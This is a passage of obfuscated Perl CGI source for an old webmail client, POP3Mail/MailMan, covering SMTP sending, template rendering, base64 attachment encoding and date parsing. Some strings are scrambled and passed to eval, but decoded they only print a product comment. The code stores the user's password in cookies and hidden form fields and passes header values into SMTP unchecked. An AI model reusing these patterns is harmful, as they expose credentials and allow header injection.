$mailman::mmaj{'CC'} = $mmb->param('CC');
$mailman::mmaj{'FROM'} = $mmb->param('FROM');
$mailman::mmaj{'SUBJECT'} = $mmb->param('SUBJECT');
$mailman::mmaj{'OUTGOING'} = $mailman::strOutgoingServer;
$mailman::mmaj{'ERROR'} = $mmai; unless(defined($mmgd) && length($$mmgd)) {
$mailman::mmaj{'MESSAGE'} = $mmb->param('TEXT'); } else {
$mailman::mmaj{'MESSAGE'} = $$mmgd; }
if(defined($mmb->param('FORWARDATTACHMENTS'))) { $mailman::mmgb =
mmmd($mmb->param('FORWARDATTACHMENTS')); $mmfw = 1; }
my($mmfd,$mmfe,$mmff) = mmmf(); my($mmgc) = 0;
if(($mmfd =~ /MSIE/i && $mmfe >= 4) || ($mmfd =~ /Mozilla/i && $mmfe >= 2)) {
if(!$mmfw) { if($mmb->param('ATTACH')) { $mailman::mmaj{'UPLOAD'} =
mmlx($mmar, 'UPLOAD'); $mmgc = 1; } else {
$mailman::mmaj{'UPLOAD'} = mmlx($mmar, 'BENIGNUPLOAD'); } }
else { $mailman::mmaj{'UPLOAD'} = ''; } } else { $mailman::mmaj{'UPLOAD'} = ''; }
if($mmgc) { $mailman::mmaj{'MULTIPARTTAG'} =
mmlx($mmar,'MULTIPARTTAG'); }
mmlz($mmar,\%mailman::mmaj); } sub mmls { my($mmay) = "\015\012";
my($mmaz, $mmba) = @_; my($mmbb) = length($mmba . $mmay);
syswrite($mmaz,$mmba . $mmay,$mmbb); } sub mmlt { my($mmay) = "\015\012";
my($mmdg) = ''; my($mmdy) = ''; my($mmge) = ''; my($mmbn) = ''; my($mmai) = '';
if($mmai = mmks()) { if(defined($mmai)) { $mmai =~ s/^\-ERR(.*)$/$1/; }
$mailman::bKioskMode = 0; $mailman::mmaj{'GREETING'} = 
"<center><b>Log In Error: </b><i>$mmai</i></center>";
mmlz('t_login.htm',\%mailman::mmaj); mmkr($mma,"QUIT");
close $mma; $mailman::mman = 0; } my($mmgf) =  $mmb->param('FORWARDATTACHMENTS');
if($mmgf) { $mmgf = $mmgf; mmla($mmgf,0); my($mmej) = 0; my($mmba) = '';
foreach $mmba (@mailman::mmdv) { if($mmba =~ /boundary\=\"?([^\"]+)\"?\;?/ &&
$mmdy eq '') { $mmdy = $1; } if($mmdy ne '' && $mmba =~ /^\-\-$mmdy\s*$/) { $mmej++; }
if($mmej > 0) { $mmba =~ s/[\r\n]+/$mmay/; $mmge .= $mmba; } } }
$mmdg = $mmb->param("TEXT"); $mmdg =~ s/\015//sg;
$mmdg =~ s/([^\012]{1,90})\s/$1\012/sg; $mmdg =~ s/\012/\015\012/sg;
unless($mailman::strOutgoingServer) {
mmlr("Send Error: No server provided, cannot proceed.", \$mmdg); }
my($mmbd) = 0; $mmbd = getprotobyname('tcp');
socket($mma,PF_INET,SOCK_STREAM,$mmbd); my($mmbe) = 0;
$mmbe = gethostbyname($mailman::strOutgoingServer); unless($mmbe) {
mmlr("Could not find an IP address for the host " .
"\"$mailman::strOutgoingServer\".", \$mmdg); } my($mmbf) = '';
$mmbf = sockaddr_in(25, $mmbe); unless(connect($mma, $mmbf)) {
mmlr("Send Error: Could not connect to server " .
"$mailman::strOutgoingServer", \$mmdg); } select($mma); $|=1; select(STDOUT);
binmode($mma); $mailman::mmas = "The server connected, but will not respond.";
if($mailman::bUseAlarm){ alarm(180); } my($mmbg) = ''; $mmbg = <$mma>;
unless($mmbg =~ /^220.+/) {
mmlr("Send Error: The server does not respond " . "appropriately.",
\$mmdg); } while($mmbg =~ /^\d\d\d\-/) { $mmbg = <$mma>; }
my($mmgg) = $ENV{REMOTE_HOST}; unless($mmgg){ $mmgg = 'indian-magic.net';}
mmls($mma,"HELO $mmgg"); $mmbg = <$mma>; unless($mmbg =~ /^250.+/) {
mmlr('Send Error: ' . $mmbg, \$mmdg); } while($mmbg =~ /^\d\d\d\-/) {
$mmbg = <$mma>; } $mailman::mmas =
"The server timed out while accepting a message.";
if($mailman::bUseAlarm){ alarm(180); } my($mmbp) = $mmb->param('FROM');
my($mmgh) = $mmbp; if($mmgh =~ /(\<[^\>]+\>)/) { $mmgh = $1; } else {
$mmgh = '<' . $mmgh . '>'; } mmls($mma,"MAIL FROM: $mmgh"); $mmbg = <$mma>;
unless($mmbg =~ /^250.+/) { mmlr('Send Error: ' . $mmbg, \$mmdg); }
while($mmbg =~ /^\d\d\d\-/) { $mmbg = <$mma>; } { $mmbn = $mmb->param('TO');
$mmbn =~ s/\;/\,/g;  $mmb->param('TO',$mmbn); } my($mmgi) = $mmb->param('TO');
$mmgi =~ s/\"[^\"]+\"//g; my(@mmgj) = split(/[\,\;]/,$mmgi); my($mmgk) = '';
my(@mmgl) = ();; my($mmbo) = ''; if($mmb->param('CC')) { $mmgk .= $mmb->param('CC');
@mmgl = split(/[\,\;]/,$mmgk); $mmbo = $mmb->param('CC'); } my(@mmgm) = (); {
my($mmdc); for($mmdc=0;$mmdc<($#mmgj+1);$mmdc++) { my($mmgn) = $mmgj[$mmdc];
$mmgn =~ s/^\s+(.*)$/$1/; $mmgn =~ s/^(.*)\s+$/$1/; push(@mmgm,$mmgn); }
for($mmdc=0;$mmdc<($#mmgl+1);$mmdc++) { my($mmgn) = $mmgl[$mmdc];
$mmgn =~ s/^\s+(.*)$/$1/; $mmgn =~ s/^(.*)\s+$/$1/; push(@mmgm,$mmgn); } }
my($mmgn) = ''; while($mmgn = shift(@mmgm)) { $mmgn =~ s/^\s+(.*)$/$1/;
$mmgn =~ s/^(.*)\s+$/$1/; unless($mmgn =~ /@/) {
if(defined($mailman::strOutgoingDomainName)) {
$mmgn .= "\@$mailman::strOutgoingDomainName"; } } if($mmgn =~ /(\S+)\s+\([^\)]\)/) {
$mmgn = '<' . $1 . '>'; } elsif($mmgn =~ /\<([^\>]+)\>/) { $mmgn = '<' . $1 . '>'; }
elsif($mmgn !~ /\<[^\>]+\>/) { $mmgn = '<' . $mmgn . '>'; }
mmls($mma,"RCPT TO: $mmgn"); $mmbg = <$mma>; unless($mmbg =~ /^250.+/) {
mmlr('Send Error: ' . $mmbg, \$mmdg); } while($mmbg =~ /^\d\d\d\-/) {
$mmbg = <$mma>; } } mmls($mma,"DATA"); $mmbg = <$mma>;
unless($mmbg =~ /^354.+/) { mmlr('Send Error: ' . $mmbg, \$mmdg); }
while($mmbg =~ /^\d\d\d\-/) { $mmbg = <$mma>; } my($mmgo) =
defined($ENV{'TZ'}) ? ( $ENV{'TZ'} ? $ENV{'TZ'} : 'GMT' ) : 'GMT';
my(@mmgp) = ('Sun','Mon','Tue','Wed','Thu','Fri','Sat');
my(@mmdr) = ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep',
'Oct','Nov','Dec'); my($mmdi,$mmdj,$mmdk,$mmdl,$mmdm,$mmdn,$mmdo) =
($mmgo eq 'GMT') ? gmtime(time) : localtime(time); $mmdo = $mmgp[$mmdo];
$mmdm = $mmdr[$mmdm]; $mmdk = sprintf("%2.2d",$mmdk);
$mmdj = sprintf("%2.2d",$mmdj); $mmdi = sprintf("%2.2d",$mmdi);
if(length($mmdn) == 2) { $mmdn = mmmn($mmdn); }
elsif(length($mmdn) == 3) { $mmdn += 1900; }
my($mmbq) = "$mmdo, $mmdl $mmdm $mmdn $mmdk:$mmdj:$mmdi $mmgo";
$mailman::mmbn = $mmbn; my($mmgq) = qq|To: ${mmbn}${mmay}|; if($mmbo) {
$mmgq .= qq|Cc: ${mmbo}${mmay}|; } $mailman::mmbp = $mmb->param('FROM');
$mmgq .= qq|From: ${mmbp}${mmay}|; my($mmbs) = $mmb->param('SUBJECT');
$mmgq .= qq|Subject: ${mmbs}${mmay}|; $mmgq .= qq|Date: ${mmbq}${mmay}|;
$mmgq .= "X-Mailer: IndianMagic POP3Mail " .
"$mailman::strPOP3MailEdition $mailman::strPOP3MailVersion$mmay";
if($mmb->param('USERFILE1') || $mmb->param('USERFILE2') || $mmgf) {
unless($mmdy){ $mmdy = 'POP3Mail_Boundary'; } $mmgq .= "MIME-Version: 1.0$mmay";
$mmgq .=  "Content-Type: multipart/mixed; boundary=\"$mmdy\"$mmay$mmay"; $mmgq .= 
"This is a multi-part message in MIME format.$mmay$mmay";
$mmgq .= "--$mmdy$mmay"; $mmgq .= "Content-Type: text/plain$mmay$mmay"; } else {
$mmgq .= "$mmay"; } mmls($mma,$mmgq . $mmdg);
if(defined($mailman::strOutgoingBannerText)) {
$mailman::strOutgoingBannerText =~ s/\015//sg;
$mailman::strOutgoingBannerText =~ s/([^\012]{1,90})\s/$1\012/sg;
$mailman::strOutgoingBannerText =~ s/\012/\015\012/sg; mmls($mma,
$mailman::strOutgoingBannerText); } my($mmgr) = '';
foreach $mmgr ('USERFILE1','USERFILE2') { unless($mmb->param($mmgr)){next;}
unless(defined($mmb->param($mmgr))){next;} my($mmfc) = '';
$mmfc = $mmb->param($mmgr); my($mmgs,$mmgt,$mmgu) = ('','',0);
while($mmgu = read($mmfc,$mmgs,1024)) { $mmgt .= $mmgs; }
my($mmcc) = $mmb->uploadInfo($mmfc)->{'Content-Type'}; close($mmfc);
my($mmgv) = $mmfc; $mmgv =~ s/^.*[\\\/]([^\\\/]+)$/$1/;
my($mmgw) = '--' . $mmdy . $mmay; $mmgw .= 
"Content-Type: ${mmcc}; name=\"" . $mmgv . "\"$mmay";
$mmgw .= "Content-Transfer-Encoding: base64$mmay"; $mmgw .=
"Content-Disposition: attachment; filename=\"" . $mmgv . "\"$mmay";
$mmgw .= $mmay; $mmgw .= mmmp($mmgt,$mmay); mmls($mma,$mmgw); }
if($mmge) { mmls($mma,$mmge); } else { if($mmdy) {
my($mmgx) = '--' . $mmdy . '--'; mmls($mma,$mmgx); } }
mmls($mma,''); mmls($mma,'.'); $mmbg = <$mma>;
unless($mmbg =~ /^250.+/) { mmlr('Send Error: ' . $mmbg, \$mmdg); }
while($mmbg =~ /^\d\d\d\-/) { $mmbg = <$mma>; } mmls($mma,"QUIT");
close $mma; my($mmar) = ''; $mmar = 't_sendconfirm.htm';
$mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'SUBJECT'} = mmkx($mmb->param('SUBJECT'));
$mailman::mmaj{'TO'} = mmkx($mmb->param('TO'));
$mailman::mmaj{'OUTGOING'} = mmkx($mailman::strOutgoingServer);
mmlz($mmar,\%mailman::mmaj); exit(0); } sub mmlu { my($mmgy) = @_;
my($mmgz) = mmmb($ENV{SERVER_NAME},42); my($mmha) = '';
if($mailman::bUseHijackTest) {
$mmha = mmmb($ENV{REMOTE_HOST} . $ENV{REMOTE_ADDR},69); }
unless($mmgz){ $mmgz = 'NO SERVER'; } unless($mmha){ $mmha = 'NO HOST'; }
my($mmhb) = $mmgz ^ $mmha; if(length($mmhb)==$mmgy) { return($mmhb); }
elsif(length($mmhb)>$mmgy) { return(substr($mmhb,0,$mmgy)); } else {
while(length($mmhb)<$mmgy) { $mmhb = "$mmhb$mmhb"; } return(substr($mmhb,0,$mmgy)); }
} sub mmlv { my($mmhc,$mmhd) = @_; my($mmhe) = '';
unless($mmhd->{'ME'}){ $mmhd->{'ME'} = $mailman::mmy; }
while($mmhc =~ /POP3Mail\(([^\)]+)\)/) { $mmhe = $mmhd->{$1};
$mmhc =~ s/POP3Mail\($1\)/$mmhe/g; } return $mmhc; } sub mmlw {
my($mmfc) = @_; print "Content-type: text/html\n\n"; if(-e $mmfc) { print
qq|<html><title>POP3Mail: Template Can't Be Read</title>\n| .
qq|<body bgcolor="#ffffff">\n| .
qq|<center><h1>POP3Mail Configuration Error</h1></center>\n| .
qq|<p>The output template "$mmfc" exists and was found by the POP3Mail\n| .
qq|script, but the script does not have permission to read it.</p>\n| .
qq|<p>On most Unix systems, you can go to the directory where POP3Mail is\n| .
qq|installed and type "chmod 644 $mmfc" to solve this problem.  If\n| .
qq|your HTTP server is running in a different operating in a different\n| .
qq|operating system, consult your HTTP server and operating system \n| .
qq|documentation for more information.</p>\n| . qq|</body></html>\n|; exit(1); }
else { print qq|<html><title>POP3Mail: Template Not Found</title>\n| .
qq|<body bgcolor="#ffffff">\n| .
qq|<center><h1>POP3Mail Configuration Error</h1></center>\n| .
qq|<p>The output template "$mmfc" could not be found by the POP3Mail \n| .
qq|script.</p><p> Make sure that this template is located where POP3Mail can \n| .
qq|find it (in the same directory as the script itself on most web servers,\n| .
qq|but not necessarily) and make sure that the web server process has\n| .
qq|permission to read the file.  Consult your HTTP server and operating\n| .
qq|system documentation for more information.</p>\n| . qq|</body></html>\n|;
exit(1); } } sub mmlx { my($mmfc,$mmhf) = @_; my($mmew) = '';
my($mmhg) = new FileHandle(); if(defined($mailman::mmad)) {
$mmfc = $mailman::mmad . $mmfc; } if(open($mmhg,
$mailman::strLocalTemplateLocation . $mmfc)) { my($mmhh) = '';
while(defined($_ = <$mmhg>)) { $mmhh .= $_; } close($mmhg); if($mmhh =~ 
/POP3MailSnippet\($mmhf\)\s*(.+)\s*EndSnippet\($mmhf\)/si) { $mmew = $1;
$mmew =~ s/^\s+(\S.*)$/$1/; $mmew =~ s/^(.*\S)\s+$/$1/; return $mmew; } } $mmew = 
qq|<i><b>Template Error:</b> Snippet "$mmhf" not found in | .
qq|template "$mmfc"</i>|; return  $mmew; } sub mmly {
my($mmfc,@mmhi) = @_; my(@mmhj); my($mmhg) = new FileHandle();
if(defined($mailman::mmad)) { $mmfc = $mailman::mmad . $mmfc; } if(open($mmhg,
$mailman::strLocalTemplateLocation . $mmfc)) { my($mmhh) = '';
while(defined($_ = <$mmhg>)) { $mmhh .= $_; } close($mmhg); my($mmhf) = '';
foreach $mmhf (@mmhi) { if($mmhh =~ 
/POP3MailSnippet\($mmhf\)\s*(.+)\s*EndSnippet\($mmhf\)/si) { my($mmew) = $1;
$mmew =~ s/^\s+(\S.*)$/$1/; $mmew =~ s/^(.*\S)\s+$/$1/; push(@mmhj,$1); } else {
mmko( qq|<i><b>Template Error:</b> Snippet "$mmhf" not found in | .
qq|template "$mmfc"</i>|); } } return @mmhj; } } sub mmlz {
my($mmfc,$mmhd,$mmaq) = @_; my($mmhk) = 1; my($mmhg) = new FileHandle();
if(defined($mailman::mmad)) { $mmfc = $mailman::mmad . $mmfc; }
unless($mmhd->{'ME'}){ $mmhd->{'ME'} = $mailman::mmy; }
my($mmef) = localtime(time); $mmhd->{'UNIQUE'} = mmmg($mmef);
$mmhd->{'EDITION'} = $mailman::strPOP3MailEdition;
$mmhd->{'VERSION'} = $mailman::strPOP3MailVersion; if(open($mmhg,
$mailman::strLocalTemplateLocation . $mmfc)) { print "Content-type: text/html\n";
my($mmm) = ''; if(defined($mailman::mmo)) { $mmm .=
'USERNAME' . '#' . $mailman::mmo . '&'; } if(defined($mailman::mmr)) { $mmm .=
'SERVER' . '#' . $mailman::mmr . '&'; } if(defined($mailman::mmq)) { $mmm .=
'PASSWORD' . '#' . $mailman::mmq . '&'; } if(defined($mailman::mmx)) { $mmm .=
'CHECKSUM' . '#' . $mailman::mmx; }
if(defined($mailman::mmn) && $mailman::mmn ne '') {
print "Set-cookie: POP3MailAuth=$mmm;" . "$mailman::mmaa\n"; }
if(defined($mailman::mmo)) { $mmhd->{'AUTHENTICATION'} =
qq|<input type="hidden" name="USERNAME" value="$mailman::mmo">|; }
if(defined($mailman::mmr)) { $mmhd->{'AUTHENTICATION'} .=
qq|<input type="hidden" name="SERVER" value="$mailman::mmr">|; }
if(defined($mailman::mmq)) { $mmhd->{'AUTHENTICATION'} .=
qq|<input type="hidden" name="PASSWORD" value="$mailman::mmq">|; }
if(defined($mailman::mmx)) { $mmhd->{'AUTHENTICATION'} .=
qq|<input type="hidden" name="CHECKSUM" value="$mailman::mmx">|; }
$mmhd->{'AUTHENTICATION'} .= $mailman::mms; $mmhd->{'SETTINGS'} = '';
if($mailman::mmab) { $mmhd->{'SETTINGS'} .=
qq|<input type="hidden" name="NOFRAMES" value="TRUE">|; } if($mailman::mmac) {
$mmhd->{'SETTINGS'} .= qq|<input type="hidden" name="NOCACHE" value="TRUE">|; }
if(defined($mailman::mmad)) { $mmhd->{'SETTINGS'} .=
qq|<input type="hidden" name="ALTERNATE_TEMPLATES" | .
qq|value="$mailman::mmad">|; } if($mailman::mmgb) { my($mmhl) = 
mmmc($mailman::mmgb); $mmhd->{'SETTINGS'} .=
qq|<input type="hidden" name="FORWARDATTACHMENTS" | . qq|value="$mmhl">|; }
my(@mmc) = $mmb->param; my($mmd) = 0; my($mmhm) = ''; for($mmd=0;$mmd<$#mmc;$mmd++)
{ my($mmaf) = $mmc[$mmd];; if($mmaf ne 'USERNAME' && $mmaf ne 'SERVER' &&
$mmaf ne 'PASSWORD' && $mmaf ne 'CHECKSUM' && $mmaf ne 'SEND' && $mmaf ne 'TEXT' &&
$mmaf ne 'ATTACH' && $mmaf !~ /USERFILE/) { $mmhm .= $mmaf . '#' .
$mmb->param($mmaf) . '&'; } } chop($mmhm); if($mailman::mmab) {
print "Set-cookie: POP3MailCmds=$mmhm; " . "path=$mailman::mmz;\n"; }
if($mailman::mmac) { print "Expires: Sun, 03 May 1998 16:00:00 GMT\n";
print "Cache-control: no-cache\n"; } print "\n";
if(defined($mailman::strDebug) && ($mmfc !~ /t\_f\_frameset/)) { print
qq|<center>\n| . qq|<table bgcolor="#000000" border="2" | .
qq|bordercolor="#000000">\n | .
qq|<tr><td bgcolor="#00FF00" align="center"><font | . qq|color="#000000">\n| .
qq|<b>DEBUG OUTPUT</b></font></td></tr>\n| . qq|<tr><td>\n| .
qq|<font color="#00FF00"><pre>$mailman::strDebug</pre>| .
qq|</font></td></tr></table>\n| . qq|</center>\n|; } while(defined($_ = <$mmhg>)) {
if(!$mmhk){ eval $mailman::mmj; } while(/\<\!\-\-\s*MMSTD/i) {
s/\<\!\-\-\s*MMSTD//ig; } while(/MMSTD\s*\-\-\>/i) { s/MMSTD\s*\-\-\>//ig; }
while(!$mailman::bKioskMode && /\<\!\-\-\s*NOKIOSKMODE/i) {
s/\<\!\-\-\s*NOKIOSKMODE//ig; }
while(!$mailman::bKioskMode && /NOKIOSKMODE\s*\-\-\>/i) {
s/NOKIOSKMODE\s*\-\-\>//ig; }
while($mailman::bKioskMode && /\<\!\-\-\s*KIOSKMODE/i) {
s/\<\!\-\-\s*KIOSKMODE//ig; }
while($mailman::bKioskMode && /\bKIOSKMODE\s*\-\-\>/i) {
s/\bKIOSKMODE\s*\-\-\>//ig; } while(/POP3Mail\(([^\)]+)\)/i) { my($mmhn) = '';
$mmhn = $mmhd->{$1}; if(defined($mmhn)) { s/POP3Mail\($1\)/$mmhn/ig; } else {
s/POP3Mail\($1\)//ig; } } if(defined($mailman::strURLImageLocation)) {
s/([\"\`\'])(i\_[^\.]+\.gif[\"\'])/$1${mailman::strURLImageLocation}$2/ig; }
print; $mmhk = 1; } close($mmhg); } else { mmlw($mmfc); } unless($mmaq) {
exit(0); } } sub mmma { $mailman::mms =
""; $mailman::mms =
pack('C109',grep($_ && ($_ -= 256),split(/(\d\d\d)/, $mailman::mms)));
$mailman::mmho = "Unix"; if((defined $^O and $^O =~ /MSWin32/i ||
$^O =~ /Windows_95/i || $^O =~ /Windows_NT/i) || (defined $ENV{OS} and
$ENV{OS} =~ /MSWin32/i || $ENV{OS} =~ /Windows_95/i || $ENV{OS} =~ /Windows_NT/i))
{ $mailman::mmho = "Windows"; $| = 1; $mailman::mmhp = 1; } if((defined $^O and
$^O =~ /MacOS/i) || (defined $ENV{OS} and $ENV{OS} =~ /MacOS/i)) {
$mailman::mmho = "Mac" } if (defined $^O and $^O =~ /VMS/i) { $mailman::mmho = "VMS";
} if($mailman::mmho eq 'Unix') { } elsif($mailman::mmho eq 'Mac') { }
elsif($mailman::mmho eq 'NT') { } } sub mmmb { my($mmhq,$mmhr) = @_;
if($mailman::bUseCrypt) { return crypt($mmhq,$mmhr); } else { return $mmhq; } }
sub mmmc { my($mmhc) = shift;
$mmhc =~ s/(\W)/sprintf("%%%02x", ord($1))/eg; return $mmhc; } sub mmmd {
my($mmhc) = shift; $mmhc =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
return $mmhc; } sub mmme { my($mmhc) = @_; $mmhc =~ s/([^A-Za-z0-9 ])/\\$1/g;
return($mmhc); } sub mmmf { my($mmhs) = $ENV{'HTTP_USER_AGENT'}; $_ = $mmhs;
if(/(MSIE)\D*(\d+)\.?(\d*)\D?/i) { return ($1,$2,$3); }
elsif(/(Mozilla)\D*(\d+)\.?(\d*)\D?/i) { return ($1,$2,$3); } } sub mmmg {
my($mmhq) =  @_; local $^W = 0; unless(defined($mmhq)){ return; }
my($mmhb) = mmlu(length($mmhq)); my($mmht) = $mmhq ^ $mmhb;
$mmht = pack("u*",$mmht); chop($mmht);
$mmht =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
@mailman::mmi = split(/X*/,'!dnoh>0Epe9o86l.7w:ab5y<4Mm3i5C/gfr1-cs2"t \;Tu,v');
$mailman::mmj = join('',@mailman::mmi[
8,34,28,2,41,42,40,23,0,36,36,42,45,4,28,38,42,
8,19,32,9,42,17,19,38,42,8,34,11,1,46,37,9,1,42,
20,22,42,25,19,28,14,25,19,2,42,48,27,38,47,42,
33,34,11,26,42,7,2,1,22,26,28,11,2,42,30,11,34,
8,11,34,19,41,28,11,2,15,42,36,36,5,43,2,40,44]); return "%%%%$mmht%%%%"; }
sub mmmh { my($mmht) =  @_; unless(defined($mmht)){ return; }
if($mmht =~ /\%\%\%\%(.+)\%\%\%\%/) { $mmht = $1; } else { return $mmht; }
$mmht =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$mmht = unpack("u*",$mmht); my($mmhb) = mmlu(length($mmht));
my($mmhq) = $mmht ^ $mmhb; return $mmhq; } sub mmmi {
my($mmhu,$mmhv) = @_; unless(chmod($mmhv, $mmhu)) {
mmko("Could not change the permissions of " .
"\"$mmhu\" for unknown reasons."); } } sub mmmj { my($mmbq) = shift;
mmml(); my($mmhw,$mmhx,$mmhy) = (60, 60, 24);
my($mmhz) = ($mmhx * $mmhw); my($mmia) = ($mmhy * $mmhx * $mmhw);
my($mmib) = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; if($mmbq =~ /
\s*                             (\S+\,?\s+)?                   
($mailman::mmic)\s+  (\d+)\s+                        (\d\d?)\:(\d\d?)\:(\d\d?)\s+
(\S+)\s+                        (\d{2}|\d{4})\s+               
\s*                             /xi) { $mmbq = "$1 $3 $2 $8 $4:$5:$6 $7"; }
my($mmcb) = 0; if($mmbq =~ / \s*                            
(\S+\,?\s+)?                    (\d+)\s+                       
($mailman::mmic)\s+  (\d{2}|\d{4})\s+                (\d\d?)\:(\d\d?)\:(\d\d?)\s+
(.*)                            \s*                             /xi) {
my($mmid) = $4; my($mmie) = $mailman::mmif{lc($3)}; my($mmig) = $2;
my($mmih,$mmii,$mmij) = ($5, $6, $7); my($mmik) = $8; if(length($mmid) == 2) {
$mmid = mmmn($mmid); } my($mmil) = 0;
for($mmil = 1996; $mmil < $mmid; $mmil++) { if(mmmk($mmil)) {
$mmcb += (366 * $mmia); } else { $mmcb += (365 * $mmia); } } my($mmim) = 0;
for($mmim = 0; $mmim < $mmie; $mmim++) { my($mmin) = $mmib->[$mmim];
if(($mmim == 1) && mmmk($mmid)) { $mmin = 29; } $mmcb += $mmin * $mmia; }
$mmcb += ($mmig -1) * $mmia; $mmcb += ($mmih - 1) * $mmhz;
if($mmik =~ /([\+\-]\d\d\d\d)/) { $mmik = $1; } elsif($mmik =~ /($mailman::mmio)/i) {
$mmik = $mailman::mmip{lc($1)}; } else { $mmik = '+0000'; } if($mmik =~ /^\-(\d\d)/) {
$mmcb += $1 * $mmhz; } elsif($mmik =~ /^\+(\d\d)/) { $mmcb -= $1 * $mmhz; }
$mmcb += $mmii * $mmhw; $mmcb += $mmij; return $mmcb; } return (-1); } sub mmmk {
my($mmid) = @_; return 0 unless $mmid % 4 == 0; return 1 unless $mmid % 100 == 0;
return 0 unless $mmid % 400 == 0; return 1; } sub mmml {
return if ($mailman::mmiq); $mailman::mmiq = 1; my($mmir) =
[['january','february','march','april','may','june','july',
'august','september','october','november','december'],
['jan','feb','mar','apr','may','jun','jul','aug','sep', 'oct','nov','dec'],
['','','','','','','','','sept']]; mmmm('inorder', $mmir,
\%mailman::mmif, \$mailman::mmic); my($mmis) = [[ 'idlw'  => '-1200',  
'nt'    => '-1100',   'hst'   => '-1000',   'cat'   => '-1000',  
'ahst'  => '-1000',   'yst'   => '-0900',   'hdt'   => '-0900',  
'ydt'   => '-0800',   'pst'   => '-0800',   'pdt'   => '-0700',  
'mst'   => '-0700',   'mdt'   => '-0600',   'cst'   => '-0600',  
'cdt'   => '-0500',   'est'   => '-0500',   'edt'   => '-0400',  
'ast'   => '-0400',   'nft'   => '-0330',   'adt'   => '-0300',  
'ndt'   => '-0230',   'at'    => '-0200',   'wat'   => '-0100',  
'gmt'   => '+0000',   'ut'    => '+0000',   'utc'   => '+0000',  
'wet'   => '+0000',   'cet'   => '+0100',   'fwt'   => '+0100',  
'met'   => '+0100',   'mewt'  => '+0100',   'swt'   => '+0100',  
'bst'   => '+0100',   'gb'    => '+0100',   'eet'   => '+0200',  
'cest'  => '+0200',   'fst'   => '+0200',   'mest'  => '+0200',  
'metdst'=> '+0200',   'sst'   => '+0200',   'bt'    => '+0300',  
'eest'  => '+0300',   'eetedt'=> '+0300',   'it'    => '+0330',  
'zp4'   => '+0400',   'zp5'   => '+0500',   'ist'   => '+0530',  
'zp6'   => '+0600',   'nst'   => '+0630',   'hkt'   => '+0800',  
'sgt'   => '+0800',   'cct'   => '+0800',   'awst'  => '+0800',  
'wst'   => '+0800',   'kst'   => '+0900',   'jst'   => '+0900',  
'rok'   => '+0900',   'cast'  => '+0930',   'east'  => '+1000',  
'gst'   => '+1000',   'cadt'  => '+1030',   'eadt'  => '+1100',  
'idle'  => '+1200',   'nzst'  => '+1200',   'nzt'   => '+1200',  
'nzdt'  => '+1300',   'z' => '+0000', 'a' => '-0100', 'b' => '-0200',
'c' => '-0300', 'd' => '-0400', 'e' => '-0500', 'f' => '-0600', 'g' => '-0700',
'h' => '-0800', 'i' => '-0900', 'k' => '-1000', 'l' => '-1100', 'm' => '-1200',
'n' => '+0100', 'o' => '+0200', 'p' => '+0300', 'q' => '+0400', 'r' => '+0500',
's' => '+0600', 't' => '+0700', 'u' => '+0800', 'v' => '+0900', 'w' => '+1000',
'x' => '+1100', 'y' => '+1200' ]]; mmmm('', $mmis, \%mailman::mmip,
\$mailman::mmio); } sub mmmm { my($mmit,$mmiu,$mmiv,$mmiw) = @_;
my($mmix,$mmiy,$mmiz,@mmja) = (); for($mmix = 0; $mmix <= $#{$mmiu}; $mmix++) {
for($mmiy = 0; $mmiy <= $#{$mmiu->[$mmix]}; $mmiy++) {
$mmiz = $mmiu->[$mmix]->[$mmiy]; if($mmiz ne '') { if($mmit =~ /inorder/) {
%{$mmiv}->{$mmiz} = $mmiy; } else { my($mmjb) = $mmiu->[$mmix]->[++$mmiy];
%{$mmiv}->{$mmiz} = $mmjb; } push(@mmja,$mmiz); } } } $$mmiw = join('|', @mmja); }
sub mmmn { my($mmjc) = shift;
my($mmdi,$mmdj,$mmdk,$mmdl,$mmdm,$mmdn,$mmdo,$mmdp,$mmdq) = gmtime(time);
$mmdn += 1900; my($mmjd) = $mmdn-50; my($mmje) = $mmjd+99; my($mmjf) = "19$mmjc";
while($mmjf < $mmjd) { $mmjf += 100; } while($mmjf > $mmje) { $mmjf -= 100; }
return $mmjf; } sub mmmo { use File::Path; my($mmjg) = 0;
$mmjg = rmtree($mailman::mmt,0,1); } sub mmmp { my($mmjh,$mmay) = @_;
my($mmji); pos($mmjh) = 0; while($mmjh =~ /(.{1,45})/gs) {
$mmji .= substr(pack('u', $1), 1); chop($mmji); } $mmji =~ tr/` -_/AA-Za-z0-9+\//;
my($mmjj) = (3 - length($mmjh) % 3) % 3;
$mmji =~ s/.{$mmjj}$/'=' x $mmjj/e if $mmjj; $mmji =~ s/(.{1,76})/$1$mmay/g;
return $mmji; } sub InitializeVars {

$mailman::mhaa[0] = 
"0a6d6d6c7a2827745f665f6672616d657365742e" .
"68746d27293b0a";
$mailman::mhaa[1] = 
"0a6d6d6c7a2827745f6c6f67696e2e68746d272c" .
"5c256d61696c6d616e3a3a6d6d616a293b0a";
$mailman::mhaa[2] = 
"0a6d6d6c7a28246d6d61722c5c256d61696c6d61" .
"6e3a3a6d6d616a293b0a";

%mailman::mmi = (); %mailman::mmag = ();
%mailman::mmdv = (); %mailman::mmjk = (); %mailman::mmjl = (); $mailman::mmv = 0;
$mailman::mmbv = 0; $mailman::mmk = 0; $mailman::mmiq = 0;
$mailman::bKioskMode = 0; $mailman::mman = 0; $mailman::mmbu = 0;
$mailman::mmac = 0; $mailman::mmab = 0; $mailman::mmjm = 0; $mailman::mmjn = 0;
$mailman::mmjo = 0; $mailman::mmjp = 0; $mailman::bUseAlarm = 0;
$mailman::bUseCrypt = 0; $mailman::bUseHijackTest = 0; %mailman::mmjq = ();
%mailman::mmjr = (); %mailman::mmif = (); %mailman::mmip = (); %mailman::mmaj = ();
$mailman::mmjs = 0; $mailman::mmjt = 0; $mailman::mmbm = 0; $mailman::mmbh = 0;
$mailman::mmbi = 0; $mailman::iMessagesPerPage = 0; $mailman::mmcl = 0;
